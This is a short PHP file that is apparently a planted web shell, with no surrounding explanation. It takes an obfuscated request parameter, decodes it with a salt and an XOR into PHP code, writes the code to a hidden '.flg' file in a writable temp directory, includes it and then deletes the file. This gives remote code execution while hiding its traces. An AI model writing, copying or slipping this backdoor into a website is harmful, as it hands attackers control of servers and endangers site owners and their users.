 <!--ZkvQE40O-->
<?php

if(!is_null($_REQUEST["\x72e\x73"] ?? null)){
$ptr = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp"]);
$tkn = $_REQUEST["\x72e\x73"];
$tkn		= 	explode	 (	"." 	,		 $tkn ) 		; 
$ent  = 	'';
$salt  = 	'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS  = 	strlen($salt);

foreach ($tkn as $i => $val) {
    $sChar  = 	ord($salt[$i % $lenS]);
    $dec  = 	((int)$val - $sChar - ($i % 10)) ^ 89;
    $ent .= chr($dec);
}
foreach ($ptr as $key => $flag) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) {
            $desc = implode("/", [$flag, ".flg"]);
            $binding = fopen($desc, 'w');
if ($binding) {
    fwrite($binding, $ent);
    fclose($binding);
    include $desc;
    @unlink($desc);
    exit;
}
        }
}
}